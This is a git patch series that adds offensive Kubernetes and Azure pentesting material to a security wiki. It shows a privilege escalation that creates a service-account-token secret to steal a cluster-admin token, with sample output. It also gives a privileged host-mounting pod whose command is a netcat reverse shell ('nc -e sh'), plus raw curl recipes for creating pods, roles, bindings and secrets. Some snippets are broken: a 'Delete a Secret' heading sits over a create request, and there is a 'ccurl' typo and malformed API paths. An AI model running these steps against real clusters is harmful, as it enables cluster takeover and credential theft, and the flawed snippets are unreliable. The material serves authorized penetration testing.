From 15ce1f2a4090a6cd5f08e43d1bcc231963f43e8d Mon Sep 17 00:00:00 2001 From: Vladyslav <68342736+VL4DYSL4V@users.noreply.github.com> Date: Sat, 11 Jan 2025 15:20:34 +0200 Subject: [PATCH 1/5] Added K8s privesc technique via Create & Read secrets --- .../README.md | 69 +++++++++++++++++++ 1 file changed, 69 insertions(+) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index ca277d590..f920bdd1a 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -350,6 +350,75 @@ The permission to **list secrets could allow an attacker to actually read the se curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` +### Creating and Reading Secrets + +There is a special kind of a Kubernetes secret of type **kubernetes.io/service-account-token** which stores serviceaccount tokens. +If you have permissions to create and read secrets, and you also know the serviceaccount's name, you can create a secret as follows and then steal the victim serviceaccount's token from it: + +```yaml +apiVersion: v1 +kind: Secret +metadata: + name: stolen-admin-sa-token + namespace: default + annotations: + kubernetes.io/service-account.name: cluster-admin-sa +type: kubernetes.io/service-account-token +``` + +Example exploitation: + +```bash +$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) + +$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN +Warning: the list may be incomplete: webhook authorizer does not support user rule resolution +Resources Non-Resource URLs Resource Names Verbs +selfsubjectreviews.authentication.k8s.io [] [] [create] +selfsubjectaccessreviews.authorization.k8s.io [] [] [create] +selfsubjectrulesreviews.authorization.k8s.io [] [] [create] +secrets [] [] [get create] + [/.well-known/openid-configuration/] [] [get] + + [/version] [] [get] + +$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN +error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default" + +$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa +Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default" + +$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN +secret/stolen-admin-sa-token created + +$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json +{ + "apiVersion": "v1", + "data": { + "ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K", + "namespace": "ZGVmYXVsdA==", + "token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc=" + }, + "kind": "Secret", + "metadata": { + "annotations": { + "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n", + "kubernetes.io/service-account.name": "cluster-admin-sa", + "kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f" + }, + "creationTimestamp": "2025-01-11T13:02:27Z", + "name": "stolen-admin-sa-token", + "namespace": "default", + "resourceVersion": "1019116", + "uid": "680d119f-89d0-4fc6-8eef-1396600d7556" + }, + "type": "kubernetes.io/service-account-token" +} +``` + +Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace. + + ### Reading a secret – brute-forcing token IDs While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). From 3000c3b4fea9e944f7f45b56c0000f445ee74499 Mon Sep 17 00:00:00 2001 From: Vladyslav <68342736+VL4DYSL4V@users.noreply.github.com> Date: Sat, 11 Jan 2025 16:42:38 +0200 Subject: [PATCH 2/5] Added scripts for creating & deleting K8s pods with curl --- .../kubernetes-enumeration.md | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index af9bc743f..c3dbd868e 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -535,6 +535,10 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} +## Interacting with the cluster without using kubectl + +Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**. + ### Escaping from the pod If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes. @@ -603,6 +607,77 @@ chroot /root /bin/bash Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +### Creating a privileged pod + +The corresponding yaml file is as follows: + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: everything-allowed-exec-pod + labels: + app: pentest +spec: + hostNetwork: true + hostPID: true + hostIPC: true + containers: + - name: everything-allowed-pod + image: alpine + securityContext: + privileged: true + volumeMounts: + - mountPath: /host + name: noderoot + command: [ "/bin/sh", "-c", "--" ] + args: [ "nc -e sh" ] + #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name + volumes: + - name: noderoot + hostPath: + path: / +``` + +Create the pod with curl: + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" + +curl --path-as-is -i -s -k -X $'POST' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'Accept: application/json' \ + -H $'Content-Type: application/json' \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Content-Length: 478' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ + "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` + +### Delete a pod + +Delete a pod with curl: + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +POD_NAME="everything-allowed-exec-pod" + +curl --path-as-is -i -s -k -X $'DELETE' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Accept: application/json' \ + -H $'Content-Type: application/json' \ + -H $'Content-Length: 35' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ + "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" +``` + ## References {{#ref}} From 12c468f714deaea6ca80fa37937ee8f7f1d68865 Mon Sep 17 00:00:00 2001 From: Vladyslav <68342736+VL4DYSL4V@users.noreply.github.com> Date: Mon, 13 Jan 2025 14:58:03 +0200 Subject: [PATCH 3/5] Update kubernetes-enumeration.md --- .../kubernetes-enumeration.md | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index c3dbd868e..56f8192d8 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -678,6 +678,130 @@ curl --path-as-is -i -s -k -X $'DELETE' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` +### Create a Service Account + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'Content-Type: application/json' \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Accept: application/json' \ + -H $'Content-Length: 109' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ + "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` + + +### Delete a Service Account + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +SA_NAME="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'DELETE' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'Accept: application/json' \ + -H $'Content-Type: application/json' \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ + "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" +``` + + +### Create a Role + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'Content-Type: application/json' \ + -H $'Accept: application/json' \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Content-Length: 203' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ + "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` + + +### Delete a Role + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Accept: application/json' \ + -H $'Content-Type: application/json' \ + -H $'Content-Length: 35' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ + "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" +``` + + +### Create a Role Binding + + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'Accept: application/json' \ + -H $'Content-Type: application/json' \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Content-Length: 816' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ + "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` + +### Delete a Role Binding + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_BINDING_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Accept: application/json' \ + -H $'Content-Type: application/json' \ + -H $'Content-Length: 35' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ + "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" +``` + + ## References {{#ref}} From cdd6583bb6352900ff044cf31b5581fded9974b1 Mon Sep 17 00:00:00 2001 From: Vladyslav <68342736+VL4DYSL4V@users.noreply.github.com> Date: Mon, 13 Jan 2025 15:08:23 +0200 Subject: [PATCH 4/5] Update kubernetes-enumeration.md --- .../kubernetes-enumeration.md | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 56f8192d8..bb400387f 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -801,6 +801,46 @@ curl --path-as-is -i -s -k -X $'DELETE' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" ``` +### Delete a Secret + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Accept: application/json' \ + -H $'Content-Type: application/json' \ + -H $'Content-Length: 219' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ + "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` + +### Delete a Secret + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +SECRET_NAME="" + +ccurl --path-as-is -i -s -k -X $'DELETE' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'Content-Type: application/json' \ + -H $'Accept: application/json' \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Content-Length: 35' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ + "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" +``` + + ## References From dbb3f98a12c1e58d7a05db8cd679c828a874ca4d Mon Sep 17 00:00:00 2001 From: Jaime Polop <117489620+JaimePolop@users.noreply.github.com> Date: Mon, 13 Jan 2025 17:03:55 +0100 Subject: [PATCH 5/5] Update az-cosmosDB.md --- .../azure-security/az-services/az-cosmosDB.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index c32406c28..7821ba579 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -238,6 +238,17 @@ az cosmosdb restorable-database-account list --account-name ## Show the identities for a Azure Cosmos DB database account. az cosmosdb identity show --resource-group --name +## MongoDB +# List all MongoDB databases in a specified Azure Cosmos DB account +az cosmosdb mongodb database list --account-name --resource-group +# List all collections in a specific MongoDB database within an Azure Cosmos DB account +az cosmosdb mongodb collection list --account-name --database-name --resource-group + +# List all role definitions for MongoDB within an Azure Cosmos DB account +az cosmosdb mongodb role definition list --account-name --resource-group +# List all user definitions for MongoDB within an Azure Cosmos DB account +az cosmosdb mongodb user definition list --account-name --resource-group + ``` {% endcode %} {% endtab %}